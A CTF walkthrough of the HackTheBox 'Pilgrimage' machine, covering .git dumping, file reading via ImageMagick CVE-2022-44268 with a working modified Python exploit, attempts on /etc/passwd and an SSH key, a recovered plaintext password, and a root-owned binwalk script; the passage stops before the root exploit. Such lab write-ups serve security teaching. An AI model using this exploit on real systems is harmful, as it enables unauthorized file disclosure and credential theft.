index-logo

Pilgrimage - HTB

walkthrough by elswix

Machine: Pilgrimage
Difficulty: Easy
Platform: HackTheBox
Release: Released on 06/24/2023


About Pilgrimage


Pilgrimage is an easy difficulty machine on HackTheBox, exposing an HTTP service on port 80. Our initial step involves dumping a .git directory to retrieve the website's source code. Upon examination, we discovered that the website employs a vulnerable version of ImageMagick for converting uploaded images, presenting an opportunity for reading system files.


Shell as emily


By exploiting the CVE-2022-44268, we successfully gain the ability to read system files. Leveraging this vulnerability, we accessed a database file whose location was exposed in the source code. Extracting information from the database allowed us to obtain credentials for the emily user. Subsequently, we gained access to the system as emily through the SSH service using these credentials.


Shell as root


The root user is running a script that executes a vulnerable version of binwalk. By exploiting the CVE-2022-4510 vulnerability, we achieve command execution as the root user.


Recon


At first, let's conduct a port scan to identify open ports on the victim machine. Ports serve as the channels through which services are exposed.

To execute this scan, we will utilize the nmap tool:

elswix@kali$ nmap -p- --open --min-rate 10000 10.10.11.219

Nmap scan report for pilgrimage.htb (10.10.11.219)
Host is up (0.14s latency).
Not shown: 57784 closed tcp ports (conn-refused), 7749 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
After completing the scan, we observed that ports 80 and 22 are open on the victim machine, typically associated with HTTP and SSH services, respectively.

Understanding the open ports on the victim machine, our next step involves obtaining information about services and technologies working on these ports. Once again, we will employ nmap tool:

elswix@kali$ nmap -sCV -p80,22 10.10.11.219 -oN fullScan

Nmap scan report for 10.10.11.219 (10.10.11.219)
Host is up (0.31s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 20:be:60:d2:95:f6:28:c1:b7:e9:e8:17:06:f1:68:f3 (RSA)
|   256 0e:b6:a6:a8:c9:9b:41:73:74:6e:70:18:0d:5f:e0:af (ECDSA)
|_  256 d1:4e:29:3c:70:86:69:b4:d7:2c:c8:0b:48:6e:98:04 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://pilgrimage.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
When accessing the website via the victim machine's IP address, we immediately notice a leaked domain, pilgrimage.htb. Since the domain couldn't be resolved, we need to add an entry to our /etc/hosts file, mapping it to the IP address of the victim machine.

Once the domain can be resolved, we will rerun the scan to identify technologies and services once again.

elswix@kali$ nmap -sCV -p80,22 10.10.11.219 -oN fullScan
Nmap scan report for pilgrimage.htb (10.10.11.219)
Host is up (0.19s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 20:be:60:d2:95:f6:28:c1:b7:e9:e8:17:06:f1:68:f3 (RSA)
|   256 0e:b6:a6:a8:c9:9b:41:73:74:6e:70:18:0d:5f:e0:af (ECDSA)
|_  256 d1:4e:29:3c:70:86:69:b4:d7:2c:c8:0b:48:6e:98:04 (ED25519)
80/tcp open  http    nginx 1.18.0
| http-git: 
|   10.10.11.219:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Pilgrimage image shrinking service initial commit. # Please ...
|_http-server-header: nginx/1.18.0
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Pilgrimage - Shrink Your Images
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
As the domain is now resolvable, the nmap tool can conduct scans on the website. During this process, it identified a .git directory, suggesting a possible association with Git repositories that might be exploitable in the future.


Web Application


Prior to accessing the website through our browser, I will conduct a scan to identify the technologies employed on the site. To achieve this, I will utilize the whatweb tool:

elswix@kali$ whatweb -a 3 10.10.11.219
http://10.10.11.219 [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[nginx/1.18.0], IP[10.10.11.219], RedirectLocation[http://pilgrimage.htb/], Title[301 Moved Permanently], nginx[1.18.0]
http://pilgrimage.htb/ [200 OK] Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.18.0], IP[10.10.11.219], JQuery, Script, Title[Pilgrimage - Shrink Your Images], nginx[1.18.0]
There is no interesting information in this output. However, it never hurts to try.

Upon accessing the website through our browser, we observe the following content:



Pilgrimage offers a free online "image shrinker". An "image shrinker" is a tool that makes images smaller. It helps reduce the storage space images take up and makes them load faster on websites or other applications.

I think we're able to upload some images and make them smaller, but first, let's take a look at the page.

Login Section

In the main page, it says that we can save our images using an account. Before going to the register section, let's try to guess credentials on the login section:



There are two fields to fill in, let's try common credentials like admin/admin, guest/guest, etc.



Upon attempting to use these credentials, we are unable to access these accounts. Since the error message is not descriptive, it is unclear whether these users exist.

Let's try some SQL Injection queries to test if we're able to bypass this authentication panel:

test' or 1=1--


It didn't work. I've tried some other injections, but I was unable to elicit a different response.

Let's create a new account in the register section:



Once we create a new account, we get access to a dashboard where uploaded images will be listed:



Next, we will upload an example image:



Once I click shrink bottom I got a successful response:



It displays an URL to the shrunk directory where the shrunked image is stored:



I downloaded this image and compared the md5 hashes to verify whether the files are different, indicating any changes or manipulation to the image.

elswix@kali$ md5sum 6565d789cd6f9.png example.png
465784178831519a6c1c549ee6a54cd8  6565d789cd6f9.png
e76583dbd4c0444ac86ad343313f3c2a  example.png
The md5 hashes are different for each file, indicating a change in the shrinked image. Additionally, upon comparing their sizes, I observed that the shrinked file is smaller, confirming the successful functioning of the page.

elswix@kali$ du -hc 6565d789cd6f9.png example.png
28K  6565d789cd6f9.png
44K  example.png
72K  total
With this information, we are aware that the website is utilizing tools to reduce image size. Keeping this in mind is crucial for exploiting the machine.


Git Dumping


Recalling the nmap report, there is a .git directory on the website. It could be interesting to extract its contents, as we might be able to obtain the website source code.

The GitTools repository contains useful tools to automate the process of extracting .git repositories

elswix@kali$ git clone https://github.com/internetwache/GitTools
Cloning into 'GitTools'...
remote: Enumerating objects: 242, done.
remote: Counting objects: 100% (33/33), done.
remote: Compressing objects: 100% (23/23), done.
remote: Total 242 (delta 9), reused 27 (delta 7), pack-reused 209
Receiving objects: 100% (242/242), 56.46 KiB | 642.00 KiB/s, done.
Resolving deltas: 100% (88/88), done.
elswix@kali$
First, we need to use the gitdumper.sh tool to dump the .git directory:

elswix@kali$ ./gitdumper.sh
###########
# GitDumper is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances. 
# Only for educational purposes!
###########


[*] USAGE: http://target.tld/.git/ dest-dir [--git-dir=otherdir]
        --git-dir=otherdir       Change the git folder name. Default: .git
We need to specify a URL and a destination directory. I will save the content in a folder named Pilgrimage:

elswix@kali$ GitTools/Dumper/gitdumper.sh http://pilgrimage.htb/.git/ Pilgrimage
###########
# GitDumper is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances. 
# Only for educational purposes!
###########


[*] Destination folder does not exist
[+] Creating ../../Pilgrimage/.git/
[+] Downloaded: HEAD
[-] Downloaded: objects/info/packs
[+] Downloaded: description
[+] Downloaded: config
[+] Downloaded: COMMIT_EDITMSG
[+] Downloaded: index
[-] Downloaded: packed-refs
[+] Downloaded: refs/heads/master
[-] Downloaded: refs/remotes/origin/HEAD
[-] Downloaded: refs/stash
[+] Downloaded: logs/HEAD
[+] Downloaded: logs/refs/heads/master
[-] Downloaded: logs/refs/remotes/origin/HEAD
[-] Downloaded: info/refs
[+] Downloaded: info/exclude
[-] Downloaded: /refs/wip/index/refs/heads/master
[-] Downloaded: /refs/wip/wtree/refs/heads/master
[+] Downloaded: objects/e1/a40beebc7035212efdcb15476f9c994e3634a7
[-] Downloaded: objects/00/00000000000000000000000000000000000000
[+] Downloaded: objects/f3/e708fd3c3689d0f437b2140e08997dbaff6212
[+] Downloaded: objects/93/ed6c0458c9a366473a6bcb919b1033f16e7a8d
[+] Downloaded: objects/c2/cbe0c97b6f3117d4ab516b423542e5fe7757bc
[+] Downloaded: objects/6c/965df00a57fd13ad50b5bbe0ae1746cdf6403d
[+] Downloaded: objects/dc/446514835fe49994e27a1c2cf35c9e45916c71
[+] Downloaded: objects/46/44c40a1f15a1eed9a8455e6ac2a0be29b5bf9e
[+] Downloaded: objects/f1/8fa9173e9f7c1b2f30f3d20c4a303e18d88548
[+] Downloaded: objects/c4/18930edec4da46019a1bac06ecb6ec6f7975bb
[+] Downloaded: objects/36/c734d44fe952682020fd9762ee9329af51848d
[+] Downloaded: objects/b2/15e14bb4766deff4fb926e1aa080834935d348
[+] Downloaded: objects/8f/155a75593279c9723a1b15e5624a304a174af2
[+] Downloaded: objects/9e/ace5d0e0c82bff5c93695ac485fe52348c855e
[+] Downloaded: objects/a7/3926e2965989a71725516555bcc1fe2c7d4f9e
[+] Downloaded: objects/98/10e80fba2c826a142e241d0f65a07ee580eaad
[+] Downloaded: objects/26/8dbf75d02f0d622ac4ff9e402175eacbbaeddd
[+] Downloaded: objects/81/703757c43fe30d0f3c6157a1c20f0fea7331fc
[+] Downloaded: objects/76/a559577d4f759fff6af1249b4a277f352822d5
[+] Downloaded: objects/ff/dbd328a3efc5dad2a97be47e64d341d696576c
[+] Downloaded: objects/f2/b67ac629e09e9143d201e9e7ba6a83ee02d66e
[+] Downloaded: objects/8a/62aac3b8e9105766f3873443758b7ddf18d838
[+] Downloaded: objects/e9/2c0655b5ac3ec2bfbdd015294ddcbe054fb783
[+] Downloaded: objects/c2/a4c2fd4e5b2374c6e212d1800097e3b30ff4e2
[+] Downloaded: objects/88/16d69710c5d2ee58db84afa5691495878f4ee1
[+] Downloaded: objects/96/3349e4f7a7a35c8f97043c20190efbe20d159a
[+] Downloaded: objects/2f/9156e434cfa6204c9d48733ee5c0d86a8a4e23
[+] Downloaded: objects/b6/c438e8ba16336198c2e62fee337e126257b909
[+] Downloaded: objects/11/dbdd149e3a657bc59750b35e1136af861a579f
[+] Downloaded: objects/c3/27c2362dd4f8eb980f6908c49f8ef014d19568
[+] Downloaded: objects/8e/42bc52e73caeaef5e58ae0d9844579f8e1ae18
[+] Downloaded: objects/5f/ec5e0946296a0f09badeb08571519918c3da77
[+] Downloaded: objects/50/210eb2a1620ef4c4104c16ee7fac16a2c83987
[+] Downloaded: objects/06/19fc1c747e6278bbd51a30de28b3fcccbd848a
[+] Downloaded: objects/54/4d28df79fe7e6757328f7ecddf37a9aac17322
[+] Downloaded: objects/1f/8ddab827030fbc81b7cb4441ec4c9809a48bc1
[+] Downloaded: objects/47/6364752c5fa7ad9aa10f471dc955aac3d3cf34
[+] Downloaded: objects/b4/21518638bfb4725d72cc0980d8dcaf6074abe7
[+] Downloaded: objects/49/cd436cf92cc28645e5a8be4b1973683c95c537
[+] Downloaded: objects/1f/2ef7cfabc9cf1d117d7a88f3a63cadbb40cca3
[+] Downloaded: objects/23/1150acdd01bbbef94dfb9da9f79476bfbb16fc
[+] Downloaded: objects/ca/d9dfca08306027b234ddc2166c838de9301487
[+] Downloaded: objects/fd/90fe8e067b4e75012c097a088073dd1d3e75a4
[+] Downloaded: objects/c4/3565452792f19d2cf2340266dbecb82f2a0571
[+] Downloaded: objects/29/4ee966c8b135ea3e299b7ca49c450e78870b59
[+] Downloaded: objects/fb/f9e44d80c149c822db0b575dbfdc4625744aa4
[+] Downloaded: objects/2b/95e3c61cd8f7f0b7887a8151207b204d576e14
[+] Downloaded: objects/a5/29d883c76f026420aed8dbcbd4c245ed9a7c0b
[-] Downloaded: objects/23/12310101010101010101410301010101210101
[-] Downloaded: objects/23/03032323230123232323212123212303632303
[-] Downloaded: objects/23/21236303230321632123036767012147470701
[-] Downloaded: objects/47/07412547250503474341056701016565070147
[-] Downloaded: objects/41/61416543747052570741470565674701054165
[-] Downloaded: objects/65/43450543454147054147414565014170505650
[-] Downloaded: objects/54/74547454747476767476767676767236323632
[-] Downloaded: objects/36/76745054545454545456545454545454545454
[-] Downloaded: objects/76/76701676767670105676767672167676767010
[+] Downloaded: objects/cd/2774e97bfe313f2ec2b8dc8285ec90688c5adb
[+] Downloaded: objects/fa/175a75d40a7be5c3c5dee79b36f626de328f2e
elswix@kali$
Now, with the extractor.sh tool, let's extract all files from the repository:

elswix@kali$ GitTools/Extractor/extractor.sh Pilgrimage/ PilgrimageSC
When accessing the PilgrimageSC directory, we encounter the following subdirectory:

elswix@kali$ ls -l
total 4
drwxr-xr-x 4 elswix elswix 4096 Nov 28 09:34 0-e1a40beebc7035212efdcb15476f9c994e3634a7
Let's access it and list its contents:

elswix@kali$ cd 0-e1a40beebc7035212efdcb15476f9c994e3634a7
total 26964
drwxr-xr-x 6 elswix elswix     4096 Nov 28 09:34 assets
-rw-r--r-- 1 elswix elswix      205 Nov 28 09:34 commit-meta.txt
-rw-r--r-- 1 elswix elswix     5538 Nov 28 09:34 dashboard.php
-rw-r--r-- 1 elswix elswix     9250 Nov 28 09:34 index.php
-rw-r--r-- 1 elswix elswix     6822 Nov 28 09:34 login.php
-rw-r--r-- 1 elswix elswix       98 Nov 28 09:34 logout.php
-rw-r--r-- 1 elswix elswix 27555008 Nov 28 09:34 magick
-rw-r--r-- 1 elswix elswix     6836 Nov 28 09:34 register.php
drwxr-xr-x 4 elswix elswix     4096 Nov 28 09:34 vendor
Finally, we gained access to the website source code by exploiting the .git directory.

By reading the source code, I found where the images are being shrunked. Here is the php code of the index.php file:

<?php
session_start();
require_once "assets/bulletproof.php";

function isAuthenticated() {
  return json_encode(isset($_SESSION['user']));
}

function returnUsername() {
  return "\"" . $_SESSION['user'] . "\"";
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
  $image = new Bulletproof\Image($_FILES);
  if($image["toConvert"]) {
    $image->setLocation("/var/www/pilgrimage.htb/tmp");
    $image->setSize(100, 4000000);
    $image->setMime(array('png','jpeg'));
    $upload = $image->upload();
    if($upload) {
      $mime = ".png";
      $imagePath = $upload->getFullPath();
      if(mime_content_type($imagePath) === "image/jpeg") {
        $mime = ".jpeg";
      }
      $newname = uniqid();
      exec("/var/www/pilgrimage.htb/magick convert /var/www/pilgrimage.htb/tmp/" . $upload->getName() . $mime . " -resize 50% /var/www/pilgrimage.htb/shrunk/" . $newname . $mime);
      unlink($upload->getFullPath());
      $upload_path = "http://pilgrimage.htb/shrunk/" . $newname . $mime;
      if(isset($_SESSION['user'])) {
        $db = new PDO('sqlite:/var/db/pilgrimage');
        $stmt = $db->prepare("INSERT INTO `images` (url,original,username) VALUES (?,?,?)");
        $stmt->execute(array($upload_path,$_FILES["toConvert"]["name"],$_SESSION['user']));
      }
      header("Location: /?message=" . $upload_path . "&status=success");
    }
    else {
      header("Location: /?message=Image shrink failed&status=fail");
    }
  }
  else {
    header("Location: /?message=Image shrink failed&status=fail");
  }
}

?>
Speciffically at this line, the uploaded image is being converted:

exec("/var/www/pilgrimage.htb/magick convert /var/www/pilgrimage.htb/tmp/" . $upload->getName() . $mime . " -resize 50% /var/www/pilgrimage.htb/shrunk/" . $newname . $mime);
It is using a binary named magick. This binary is included in the git repository, so I found it in the current directory:

elswix@kali$ file ./magick
magick: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9fdbc145689e0fb79cb7291203431012ae8e1911, stripped
Before analysing the binary, let's take a look at the login.php file:

<?php
session_start();
if(isset($_SESSION['user'])) {
  header("Location: /dashboard.php");
  exit(0);
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['username'] && $_POST['password']) {
  $username = $_POST['username'];
  $password = $_POST['password'];

  $db = new PDO('sqlite:/var/db/pilgrimage');
  $stmt = $db->prepare("SELECT * FROM users WHERE username = ? and password = ?");
  $stmt->execute(array($username,$password));

  if($stmt->fetchAll()) {
    $_SESSION['user'] = $username;
    header("Location: /dashboard.php");
  }
  else {
    header("Location: /login.php?message=Login failed&status=fail");
  }
}
?>
Here is leaked the database directory path and how the website is interacting with the database. At first glance, everything looks very good, as it is using secure functions for interaction.


ImageMagick - LFI


Let's take a loot at the binary:

elswix@kali$ ./magick
Error: Invalid argument or not enough arguments

Usage: magick tool [ {option} | {image} ... ] {output_image}
Usage: magick [ {option} | {image} ... ] {output_image}
       magick [ {option} | {image} ... ] -script {filename} [ {script_args} ...]
       magick -help | -version | -usage | -list {option}
elswix@kali$ ./magick -version
Version: ImageMagick 7.1.0-49 beta Q16-HDRI x86_64 c243c9281:20220911 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5) 
Delegates (built-in): bzlib djvu fontconfig freetype jbig jng jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (7.5)
elswix@kali$
It is an ImageMagick binary, specifically ImageMagick version 7.1.0-49.

ImageMagick is an open-source software suite designed for the creation, editing, conversion, and manipulation of images. It supports a wide range of image formats and provides a versatile set of tools and utilities for tasks such as resizing, cropping, rotating, and applying various effects to images.

Let's search on the internet vulnerabilities associated to this ImageMagick version.



ImageMagick 7.1.0-49 is susceptible to an Information Disclosure vulnerability. When ImageMagick processes a PNG image, such as during a resize operation, the resulting image might contain the content of any arbitrary file. This occurs if the magick binary has the necessary permissions to read the arbitrary file.

I found lots of LFI PoC to exploit this version of ImageMagick. I cloned this repository and tried to exploit this vulnerability.

elswix@kali$ python3 CVE-2022-44268.py -h
usage: CVE-2022-44268.py [-h] [--url URL] [--image IMAGE] [--file-to-read FILE_TO_READ] [--output OUTPUT]

Proof of Concept Exploit for CVE-2022-44268 by Milan Jovic - https://shiftsecurityconsulting.com

options:
  -h, --help            show this help message and exit
  --url URL             The URL of the uploaded PNG image
  --image IMAGE         Input PNG file
  --file-to-read FILE_TO_READ
                        File to read
  --output OUTPUT       Output PNG file
It is easy to use, first you have to create a malicious image, so we will use --image, --file-to-read and --output parameters.

For this, I downloaded a random PNG image from the internet and created the malicious file:

elswix@kali$ python3 CVE-2022-44268.py --image example.png --file-to-read "/etc/passwd" --output malicious.png
elswix@kali$ ls -l
total 112
-rw-r--r-- 1 elswix elswix  1779 Nov 28 14:18 CVE-2022-44268.py
-rw-r--r-- 1 elswix elswix   232 Nov 28 14:18 Dockerfile
-rw-r--r-- 1 elswix elswix  1455 Nov 28 14:18 README.md
-rw-r--r-- 1 elswix elswix 41427 Nov 30  2014 example.png
-rw-r--r-- 1 elswix elswix 50458 Nov 28 14:21 malicious.png
-rw-r--r-- 1 elswix elswix    47 Nov 28 14:18 requirements.txt
Now, we have to upload the malicious.png file to the website to exploit the vulnerability.



Once uploaded, we can use the --url parameter to specify the URL where the converted image is saved and read the file content:

elswix@kali$ python3 CVE-2022-44268.py --url http://pilgrimage.htb/shrunk/656621fa207ff.png
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
emily:x:1000:1000:emily,,,:/home/emily:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
Finally, we obtained the /etc/passwd file of the victim machine.


Shell as emily


To automate the uploading process, I modified the script:

import argparse, requests, io, re
from PIL import Image, PngImagePlugin


def uploadMaliciousImage():

        upload_url = "http://pilgrimage.htb/index.php"
        fileToUpload = {'toConvert': open(args.output, "rb")} 
        resp = requests.post(upload_url, files=fileToUpload, allow_redirects=False)
        newImageUrl = resp.headers['Location']
        regex = r'message=(.*?)&'
        newImageUrl = re.findall(regex, newImageUrl)[0]


        resp = requests.get(newImageUrl)
        img = Image.open(io.BytesIO(resp.content))

        # Extract the raw profile type from the image metadata
        raw_profile_type = img.info.get('Raw profile type', '').split("\n")[3:]
        raw_profile_type_stipped = "\n".join(raw_profile_type)

        # Decrypt the raw profile type from hex format
        decrypted_profile_type = bytes.fromhex(raw_profile_type_stipped).decode('utf-8')

        # Print the decrypted profile type
        print(decrypted_profile_type)

def maliciousImage():
        # Open the image file
        img = Image.open(args.image)

        # Create a PngInfo object and add the text
        info = PngImagePlugin.PngInfo()
        info.add_text('profile', args.file_to_read, zip=False)

        # Save the modified image to a new file
        img.save(args.output, 'PNG', pnginfo=info)

def main():
    maliciousImage()
    uploadMaliciousImage()


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Proof of Concept Exploit for CVE-2022-44268 by Milan Jovic - https://shiftsecurityconsulting.com')
    parser.add_argument('--url', help='The URL to upload the image')
    parser.add_argument('--image', help='Input PNG file')
    parser.add_argument('--file-to-read', help='File to read')
    parser.add_argument('--output', help='Output PNG file')
    args = parser.parse_args()
    if not vars(args):
        parser.print_help()
    main()
With this modification, there's no need to use the --url parameter; the upload process is automated. For example, let's attempt to read the /etc/hosts file:

elswix@kali$ python3 CVE-2022-44268.py --file-to-read "/etc/hosts" --image example.png --output malicious.png
127.0.0.1   localhost
127.0.1.1   pilgrimage pilgrimage.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
This is more comfortable, so let's enumerate the file system. Firstly, I enumerated all potential users on the system:

elswix@kali$ python3 CVE-2022-44268.py --file-to-read "/etc/passwd" --image example.png --output malicious.png | grep "sh$"
root:x:0:0:root:/root:/bin/bash
emily:x:1000:1000:emily,,,:/home/emily:/bin/bash
I found the root and emily users with shells, so I attempted to read the id_rsa file of the emily user. If successful, gaining access to the id_rsa file of the emily user could allow us to gain system-level access through the SSH service as emily.

elswix@kali$ python3 CVE-2022-44268.py --file-to-read "/home/emily/.ssh/id_rsa" --image example.png --output malicious.png
It did not work, so I believe we don't have access to the id_rsa file, or it doesn't exist.

After enumerating all interesting files, I recalled the presence of the pilgrimage database, the location of which was leaked in the website source code. I've tried to read its content:

elswix@kali$ python3 CVE-2022-44268.py --file-to-read "/var/db/pilgrimage" --image example.png --output malicious.png
Traceback (most recent call last):
  File "/home/elswix/Desktop/elswix/HTB/Pilgrimage/content/CVE-2022-44268/CVE-2022-44268.py", line 59, in <module>
    main()
  File "/home/elswix/Desktop/elswix/HTB/Pilgrimage/content/CVE-2022-44268/CVE-2022-44268.py", line 41, in main
    uploadMaliciousImage()
  File "/home/elswix/Desktop/elswix/HTB/Pilgrimage/content/CVE-2022-44268/CVE-2022-44268.py", line 23, in uploadMaliciousImage
    decrypted_profile_type = bytes.fromhex(raw_profile_type_stipped).decode('utf-8')
                             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
UnicodeDecodeError: 'utf-8' codec can't decode byte 0x91 in position 99: invalid start byte
It does exist; however, this error is due to the database file being a binary file, making its content unreliable.

To download this file, I only modified the upload function of the Python script:

def uploadMaliciousImage():

        upload_url = "http://pilgrimage.htb/index.php"
        fileToUpload = {'toConvert': open(args.output, "rb")} 
        resp = requests.post(upload_url, files=fileToUpload, allow_redirects=False)
        newImageUrl = resp.headers['Location']
        regex = r'message=(.*?)&'
        newImageUrl = re.findall(regex, newImageUrl)[0]


        resp = requests.get(newImageUrl)
        img = Image.open(io.BytesIO(resp.content))

        # Extract the raw profile type from the image metadata
        raw_profile_type = img.info.get('Raw profile type', '').split("\n")[3:]
        raw_profile_type_stipped = "\n".join(raw_profile_type)

        # Decrypt the raw profile type from hex format
        #decrypted_profile_type = bytes.fromhex(raw_profile_type_stipped).decode('utf-8')

        # Print the decrypted profile type
        print(raw_profile_type_stipped)
Now, upon reading this file, we will retrieve the file content in hex format. I will then save the file content into a new file:

elswix@kali$ python3 CVE-2022-44268.py --file-to-read "/var/db/pilgrimage" --image example.png --output malicious.png > pilgrimage
The file content in hex format has been saved in the pilgrimage file. Now, we need to change its format:

elswix@kali$ cat pilgrimage | xxd -ps -r | sponge pilgrimage
Now, when listing the file type of the pilgrimage file, we obtain the following output

elswix@kali$ file pilgrimage
pilgrimage: SQLite 3.x database, last written using SQLite version 3034001, file counter 80, database pages 5, cookie 0x4, schema 4, UTF-8, version-valid-for 80
We can obtain this database content using the strings command, but I will still enumerate it using sqlite3:

sqlite3 ./pilgrimage
SQLite version 3.43.2 2023-10-10 12:14:04
Enter ".help" for usage hints.
sqlite> .schema
CREATE TABLE users (username TEXT PRIMARY KEY NOT NULL, password TEXT NOT NULL);
CREATE TABLE images (url TEXT PRIMARY KEY NOT NULL, original TEXT NOT NULL, username TEXT NOT NULL);
sqlite>
There is a table called users. Let's extract its entire content:

sqlite> select * from users;
emily|abigchonkyboi123
sqlite>
These values seem to be credentials for the emily user. Let's try using them to connect through SSH as the emily user:

elswix@kali$ ssh emily@10.10.11.219
emily@10.10.11.219's password: 
Linux pilgrimage 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
emily@pilgrimage:~$
They worked, and we have gained access to the system as the emily user.

As emily, we are able to read the first flag:

emily@pilgrimage:~$ cat user.txt 
8fbea**********************3fa7b
emily@pilgrimage:~$
The emily user doesn't belong to any interesting group:

emily@pilgrimage:~$ id
uid=1000(emily) gid=1000(emily) groups=1000(emily)
emily@pilgrimage:~$
When listing its sudo privileges, we noticed that it doesn't have any.

emily@pilgrimage:~$ sudo -l
[sudo] password for emily: 
Sorry, user emily may not run sudo on pilgrimage.
emily@pilgrimage:~$
Let's attempt to list the Set-UID files in the file system:

emily@pilgrimage:~$ find / -perm -4000 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/su
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/fusermount
/usr/bin/mount
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/umount
emily@pilgrimage:~$
There are also no interesting Set-UID files.

When looking at the commands executed by the users on the system, I found some interesting ones:

emily@pilgrimage:~$ ps -eo user,command | grep -v "\[" | grep -v "systemd"
USER     COMMAND
root     /sbin/init
root     /usr/bin/VGAuthService
root     /usr/bin/vmtoolsd
root     /sbin/auditd
_laurel  /usr/local/sbin/laurel --config /etc/laurel/config.toml
root     /sbin/dhclient -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
root     /usr/sbin/cron -f
root     /bin/bash /usr/sbin/malwarescan.sh
root     php-fpm: master process (/etc/php/7.4/fpm/php-fpm.conf)
root     /usr/sbin/rsyslogd -n -iNONE
root     /usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/
root     /bin/bash /usr/sbin/malwarescan.sh
root     /sbin/agetty -o -p -- \u --noclear tty1 linux
root     nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
www-data nginx: worker process
www-data nginx: worker process
www-data php-fpm: pool www
www-data php-fpm: pool www
emily    (sd-pam)
emily    sshd: emily@pts/0
emily    -bash
emily    ps -eo user,command
emily@pilgrimage:~$
The root user, is running a bash script called malwarescan.sh. It is unusual, so let's try to read its content:

emily@pilgrimage:~$ cat /usr/sbin/malwarescan.sh
#!/bin/bash

blacklist=("Executable script" "Microsoft executable")

/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
    filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
    binout="$(/usr/local/bin/binwalk -e "$filename")"
        for banned in "${blacklist[@]}"; do
        if [[ "$binout" == *"$banned"* ]]; then
            /usr/bin/rm "$filename"
            break
        fi
    done
done
emily@pilgrimage:~$
This script is using inotifywait to monitor the directory /var/www/pilgrimage.htb/shrunk/ for newly created files. When a file is created, the script gets its full name and uses binwalk to perform a binary signature analysis and extract possible embedded data.

The script maintains a blacklist (blacklist) that contains phrases associated with executable scripts and Microsoft executable files. If it finds any of these phrases in the binwalk output, it removes the newly created file. The purpose is to filter and eliminate files that may contain unwanted executables or data.


